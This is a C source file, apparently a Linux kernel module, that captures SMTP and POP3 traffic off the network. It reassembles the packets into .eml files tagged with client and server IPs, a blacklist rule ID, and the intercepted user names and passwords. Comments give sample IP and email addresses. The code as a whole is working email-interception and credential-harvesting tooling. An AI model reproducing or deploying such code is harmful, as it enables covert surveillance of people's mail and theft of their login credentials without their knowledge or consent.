📄 outputfile.c
字号:
#include <linux/module.h>
#include <linux/config.h>
#include <linux/init.h>
#include <linux/netdevice.h> /* for dev_base */
#include <linux/fs.h>
#include <linux/slab.h>
#include <linux/sched.h>
#include <linux/file.h>
#include <linux/dnotify.h>
#include <linux/if_ether.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/udp.h>
#include <linux/time.h>
#include <linux/mc146818rtc.h>
#include <linux/bcd.h>
#include <linux/syscalls.h>
#include <asm/semaphore.h>
#include <asm/unistd.h>
#include "DomainIPHash.h"
#include "list.h"
#include "Rule.h"
#include "RuleIp.h"
#include "protocol.h"
#include "OutPutFile.h"
#include "smtpparser.h"
#include "OutPutFile.h"
#include "createDir.h"
#include "function.h"
#define SMTP_DATA "DATA"
#define SMTP_DATA_FOXMAIL "Data"
#define POP3_RECE "Rece"
#define POP3_FROM "From"
#define SMTP_X_USER "X-User: "
#define SMTP_X_PASS "X-Pass: "
#define XX_Client_Ip "XX-Client-Ip:" //13//221.198.202.56
#define XX_Server_Ip "XX-Server-Ip:" //13//211.46.166.2
#define XX_Client_Port "XX-Client-Port:" //15
#define XX_Protocol "XX-Protocol:" //12//SMTP
#define XX_Time "XX-Time:" //8//1114391881 04/25/2005 09:18:01
#define XX_UserName "XX-UserName:" //12
#define XX_Password "XX-Password:" //12
#define XX_Helo "XX-Helo:" //8//221.198.202.56
#define XX_Auth "XX-Auth:" //8
#define XX_Vrfy "XX-Vrfy:" //8//NO
#define XX_Expn "XX-Expn:" //8//NO
#define XX_Mail_From "XX-Mail-From:" //13//qarr9kkk8xxee@yahoo.co.kr
#define XX_Rcpt_To "XX-Rcpt-To:" //11//min016@minjok.hs.kr
#define XX_AimID "XX-AimID:" //9//黑名单 ID
extern GVAR gVar;
extern TRAFFIC_STAT_INFO statInfo;
int inline WriteOneFile( PSMTP_HASH_HEAD pHashHead );
void ChangeFileAttr( PSMTP_HASH_HEAD pHashHead, char bPre );
int inline WriteLogFile( char *buf );
void WriteParaLogFile( void );
int OutputFile( void *arg )
{
PSMTP_HASH_HEAD pHashHead;
DOUBLE_LIST_HEAD listHead;
static UINT iMax = 0;
char bMaxQue = false;
char buf[512];
PTHREAD_CONTROL pControl = (PTHREAD_CONTROL)arg;
_InitializeList( &listHead );
daemonize( "mail_save" );
allow_signal(SIGTERM);
while( !signal_pending (current) )
{
//Get SMTP TCP packet
if( gVar.pFileQueque->iNumber == 0 )
{
schedule();
continue;
}
_RemoveTotalList( gVar.pFileQueque, &listHead );
iMax = iMax > listHead.iNumber ? iMax : listHead.iNumber;
sprintf( buf, "email que:%d %d\r\n", listHead.iNumber, iMax );
if( listHead.iNumber > MAX_FILE_QUEQUE )
{
bMaxQue = true;
WriteLogFile( buf );
}
pHashHead = (PSMTP_HASH_HEAD)_RemoveTailListNonLock(&listHead);
while( pHashHead )
{
//write file
if( false == bMaxQue )
{
WriteOneFile( pHashHead );
}
_InsertTailListFromSmtpHashHeadByLong( pHashHead );
FREE_HASHHEAD( pHashHead );
pHashHead = (PSMTP_HASH_HEAD)_RemoveTailListNonLock(&listHead);
}
bMaxQue = false;
schedule();
}
complete_and_exit( &(pControl->thread_exited), 1 );
return 0;
}
int inline WriteOneFile( PSMTP_HASH_HEAD pHashHead )
{
char bWrite = true;
struct iphdr* pIPHeader;
struct tcphdr* pTCPHeader;
struct tm current_time;
char* pTempBuf = NULL;
UINT iBufLen = 0;
UINT iMaxLen = 0;
UINT iWrited;
loff_t pos;
//文件处理
mm_segment_t old_fs;
char filePathName[_MAX_OUTPUT_FILE_LENGTH];
struct file* file = NULL;
PDOUBLE_LIST_PACKET pListPacket;
if( pHashHead->iEml > 20 )
return 0;
//确定文件名
localtime( pHashHead->timeStamp.tv_sec, 3600 * 8, ¤t_time );
if( IS_FROM_SMTP_CLIENT(pHashHead->smtpPop3Type) )
{
sprintf( filePathName, "%s%d%02d%02d/%02d/%02d/%u_%d_%d_SMTP.eml",
gVar.Smtppop3Path[ pHashHead->iFilePath ], current_time.tm_year,
current_time.tm_mon, current_time.tm_mday, current_time.tm_hour,
current_time.tm_min, pHashHead->sIP, ntohs(pHashHead->sPort),
pHashHead->iEml );
}
else
{
sprintf( filePathName, "%s%d%02d%02d/%02d/%02d/%u_%d_%d_POP3.eml",
gVar.Smtppop3Path[ pHashHead->iFilePath ], current_time.tm_year,
current_time.tm_mon, current_time.tm_mday, current_time.tm_hour,
current_time.tm_min, pHashHead->sIP, ntohs(pHashHead->sPort),
pHashHead->iEml );
}
if( pHashHead->bDelete )
{
unlink( filePathName );
statInfo.DelMailNum++;
return -1;
}
pListPacket = (PDOUBLE_LIST_PACKET)pHashHead->pHead;
if( !pListPacket || pHashHead->iNumber > 500 )
return -1;
//确定要申请的内存
iBufLen = 0;
iMaxLen = ( pHashHead->iNumber + 1 ) * _MAX_PACKET_LEN;
pTempBuf = vmalloc( iMaxLen );
if( pTempBuf == NULL )
{
printk( "allocate memory failed!\r\n" );
gVar.CtrlThreadCtx.bReady = false;
return -1;
}
//定义文件头
if( pHashHead->bFileHeader && !pHashHead->bPrew )
{
struct in_address *src;
struct in_address *dst;
pIPHeader = (struct iphdr *)pListPacket->packet.buf;
pTCPHeader = (struct tcphdr *)( (UCHAR *)pIPHeader + pIPHeader->ihl * 4 );
src = (struct in_address *)( &pIPHeader->saddr );
dst = (struct in_address *)( &pIPHeader->daddr );
if( IS_FROM_SMTP_CLIENT(pHashHead->smtpPop3Type) )
{
if( pHashHead->iUserLen == 0 || pHashHead->iPassLen == 0 )
{
sprintf( pTempBuf,
"%s%d\r\n%s%d.%d.%d.%d\r\n%s%d.%d.%d.%d\r\n%s%d\r\n%s%s\r\n%s%d%02d%02d%02d%02d%02d\r\n",
XX_AimID,
pHashHead->ruleID,
XX_Client_Ip,
src->s_net,
src->s_host,
src->s_lh,
src->s_impno,
XX_Server_Ip,
dst->s_net,
dst->s_host,
dst->s_lh,
dst->s_impno,
XX_Client_Port,
ntohs(pHashHead->sPort),
XX_Protocol,
"SMTP",
XX_Time,
current_time.tm_year, current_time.tm_mon, current_time.tm_mday,
current_time.tm_hour, current_time.tm_min, current_time.tm_sec );
statInfo.MailTotalNum++;
}
else
{
sprintf( pTempBuf,
"%s%d\r\n%s%d.%d.%d.%d\r\n%s%d.%d.%d.%d\r\n%s%d\r\n%s%s\r\n%s%d%02d%02d%02d%02d%02d\r\n%s%s%s%s",
XX_AimID,
pHashHead->ruleID,
XX_Client_Ip,
src->s_net,
src->s_host,
src->s_lh,
src->s_impno,
XX_Server_Ip,
dst->s_net,
dst->s_host,
dst->s_lh,
dst->s_impno,
XX_Client_Port,
ntohs(pHashHead->sPort),
XX_Protocol,
"SMTP",
XX_Time,
current_time.tm_year, current_time.tm_mon, current_time.tm_wday,
current_time.tm_hour, current_time.tm_min, current_time.tm_sec,
XX_UserName,
pHashHead->user,
XX_Password,
pHashHead->pass);
statInfo.MailTotalNum++;
}
iBufLen = strlen( pTempBuf );
}
else
{
if( pHashHead->iUserLen == 0 || pHashHead->iPassLen == 0 )
{
sprintf( pTempBuf,
"%s%d\r\n%s%d.%d.%d.%d\r\n%s%d.%d.%d.%d\r\n%s%d\r\n%s%s\r\n%s%d%02d%02d%02d%02d%02d\r\n",
XX_AimID,
pHashHead->ruleID,
XX_Client_Ip,
dst->s_net,
dst->s_host,
dst->s_lh,
dst->s_impno,
XX_Server_Ip,
src->s_net,
src->s_host,
src->s_lh,
src->s_impno,
XX_Client_Port,
ntohs(pHashHead->sPort),
XX_Protocol,
"POP3",
XX_Time,
current_time.tm_year, current_time.tm_mon, current_time.tm_mday,
current_time.tm_hour, current_time.tm_min, current_time.tm_sec );
statInfo.MailTotalNum++;
}
else
{
sprintf( pTempBuf,
"%s%d\r\n%s%d.%d.%d.%d\r\n%s%d.%d.%d.%d\r\n%s%d\r\n%s%s\r\n%s%d%02d%02d%02d%02d%02d\r\n%s%s%s%s",
XX_AimID,
pHashHead->ruleID,
XX_Client_Ip,
dst->s_net,
dst->s_host,
dst->s_lh,
dst->s_impno,
XX_Server_Ip,
src->s_net,
src->s_host,
src->s_lh,
src->s_impno,
XX_Client_Port,
ntohs(pHashHead->sPort),
XX_Protocol,
"POP3",
XX_Time,
current_time.tm_year, current_time.tm_mon, current_time.tm_mday,
current_time.tm_hour, current_time.tm_min, current_time.tm_sec,
XX_UserName,
pHashHead->user,
XX_Password,
pHashHead->pass);
statInfo.MailTotalNum++;
}
iBufLen = strlen( pTempBuf );
}
bWrite = false;
}
else
iBufLen = 0;
if( IS_FROM_SMTP_CLIENT(pHashHead->smtpPop3Type) )
{
while( pListPacket && pListPacket != (PDOUBLE_LIST_PACKET)pHashHead->pSeq )
{
//write file
if( pHashHead->bFileHeader )
{
//write USER and PASS, sure the DATA begin
if( pListPacket->packet.dataLen >= 4 )
{
switch( *((UINT *)( pListPacket->packet.buf
+ pListPacket->packet.dataOffset ) ) )
{
//DATA, Data
case 0x44415441:
case 0x41544144:
case 0x44617461:
case 0x61746144:
pHashHead->bFileHeader = false;
bWrite = true;
break;
//EHLO
case 0x45484c4f:
case 0x4f4c4845:
if( pListPacket->packet.dataLen > 5 )
{
memcpy( pTempBuf + iBufLen, XX_Helo, strlen(XX_Helo) );
iBufLen += strlen(XX_Helo);
memcpy( pTempBuf + iBufLen, pListPacket->packet.buf
+ pListPacket->packet.dataOffset + 5,
pListPacket->packet.dataLen - 5 );
iBufLen += pListPacket->packet.dataLen - 5;
}
break;
//AUTH
case 0x41555448:
case 0x48545541:
if( pListPacket->packet.dataLen > 5 )
{
memcpy( pTempBuf + iBufLen, XX_Auth,strlen(XX_Auth));
iBufLen += strlen(XX_Auth);
memcpy( pTempBuf + iBufLen, pListPacket->packet.buf
+ pListPacket->packet.dataOffset + 5,
pListPacket->packet.dataLen - 5 );
iBufLen += pListPacket->packet.dataLen-5;
}
break;
//MAIL FROM:
case 0x4d41494c:
case 0x4c49414d:
if( pListPacket->packet.dataLen > 10 )
{
memcpy( pTempBuf + iBufLen, XX_Mail_From, strlen(XX_Mail_From) );
iBufLen += strlen(XX_Mail_From);
memcpy( pTempBuf + iBufLen, pListPacket->packet.buf
+ pListPacket->packet.dataOffset + 10,
pListPacket->packet.dataLen - 10 );
iBufLen += pListPacket->packet.dataLen - 10;
}
break;
//RCPT TO:
case 0x52435054:
case 0x54504352:
if( pListPacket->packet.dataLen > 8 )
{
memcpy( pTempBuf + iBufLen, XX_Rcpt_To, strlen(XX_Rcpt_To) );
iBufLen += strlen(XX_Rcpt_To);
memcpy( pTempBuf + iBufLen, pListPacket->packet.buf
+ pListPacket->packet.dataOffset + 8,
pListPacket->packet.dataLen - 8 );
iBufLen += pListPacket->packet.dataLen - 8;
}
break;
default:
break;
}
}
}
else
{
if( pListPacket->packet.dataLen > 0 )
{
memcpy( pTempBuf + iBufLen, pListPacket->packet.buf +
pListPacket->packet.dataOffset, pListPacket->packet.dataLen );
iBufLen += pListPacket->packet.dataLen;
bWrite = true;
}
}
pListPacket = (PDOUBLE_LIST_PACKET)pListPacket->doubleListItem.pNext;
}
if( pListPacket && pListPacket->packet.dataLen > 0 )
{
memcpy( pTempBuf + iBufLen, pListPacket->packet.buf
+ pListPacket->packet.dataOffset, pListPacket->packet.dataLen );
iBufLen += pListPacket->packet.dataLen;
}
}
else
{
while( pListPacket && pListPacket != (PDOUBLE_LIST_PACKET)pHashHead->pSeq)
{
pIPHeader = (struct iphdr *)pListPacket->packet.buf;
pTCPHeader = (struct tcphdr *)( (UCHAR *)pIPHeader + pIPHeader->ihl * 4 );
if( !pHashHead->bFileHeader )
{
if( pListPacket->packet.dataLen && pHashHead->iPop3BeginSeq &&
ntohl( pTCPHeader->seq ) > ntohl( pHashHead->iPop3BeginSeq ) )
{
memcpy( pTempBuf+iBufLen, pListPacket->packet.buf
+ pListPacket->packet.dataOffset, pListPacket->packet.dataLen );
iBufLen += pListPacket->packet.dataLen;
bWrite = true;
}
}
if( pHashHead->bFileHeader && pHashHead->iPop3BeginSeq != 0 )
{
pIPHeader = (struct iphdr *)pListPacket->packet.buf;
pTCPHeader = (struct tcphdr *)( (UCHAR *)pIPHeader + pIPHeader->ihl * 4 );
if( ntohl(pTCPHeader->seq) > ntohl(pHashHead->iPop3BeginSeq) )
{
pHashHead->bFileHeader = false;
bWrite = true;
memcpy( pTempBuf+iBufLen, pListPacket->packet.buf
+ pListPacket->packet.dataOffset, pListPacket->packet.dataLen );
iBufLen += pListPacket->packet.dataLen;
}
}
pListPacket = (PDOUBLE_LIST_PACKET)pListPacket->doubleListItem.pNext;
}
pIPHeader = (struct iphdr *)pListPacket->packet.buf;
pTCPHeader = (struct tcphdr *)( (UCHAR *)pIPHeader + pIPHeader->ihl * 4 );
if( pListPacket && pListPacket->packet.dataLen && pHashHead->iPop3BeginSeq )
{
pIPHeader = (struct iphdr *)pListPacket->packet.buf;
pTCPHeader = (struct tcphdr *)( (UCHAR *)pIPHeader + pIPHeader->ihl * 4 );
if( ntohl(pTCPHeader->seq) > ntohl(pHashHead->iPop3BeginSeq))
{
memcpy( pTempBuf+iBufLen, pListPacket->packet.buf
+ pListPacket->packet.dataOffset, pListPacket->packet.dataLen );
iBufLen += pListPacket->packet.dataLen;
bWrite = true;
}
}
}
if( iBufLen > ( pHashHead->iNumber + 1 ) * _MAX_PACKET_LEN )
{
printk( "iBuflen : %d\r\n", iBufLen );
vfree( pTempBuf );
return -1;
}
if( bWrite && iBufLen != 0 )
{
file = filp_open( filePathName, O_WRONLY | O_APPEND | O_CREAT, 0644);
if( !file )
{
vfree( pTempBuf );
return -1;
}
old_fs = get_fs();
set_fs(KERNEL_DS);
pos = file->f_pos;
iWrited = vfs_write( file, pTempBuf, iBufLen, &pos );
file->f_pos = pos;
set_fs( old_fs );
if( file != NULL )
filp_close( file, NULL );
}
if( pTempBuf )
vfree( pTempBuf );
return 0;
}
int inline WriteLogFile(char *buf)
{
mm_segment_t old_fs;
struct file* file = NULL;
file = filp_open( "/root/log.txt", O_RDWR | O_APPEND | O_CREAT, 0644 );
if( IS_ERR(file) )
{
printk( "error occured while opening file, exiting...\r\n" );
return -1;
}
old_fs = get_fs();
set_fs( KERNEL_DS );
vfs_write( file, (char *)buf, (ULONG)strlen(buf), &file->f_pos );
set_fs(old_fs);
if(file != NULL)
filp_close( file, NULL );
return 1;
}
void WriteParaLogFile()
{
char buf[100];
//360 seconds
schedule_timeout( 100 );
memset( buf, 0, 100 );
sprintf( buf, "hashhead number:%ld", gVar.hashHeadInfo.iNumber );
WriteLogFile( buf );
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -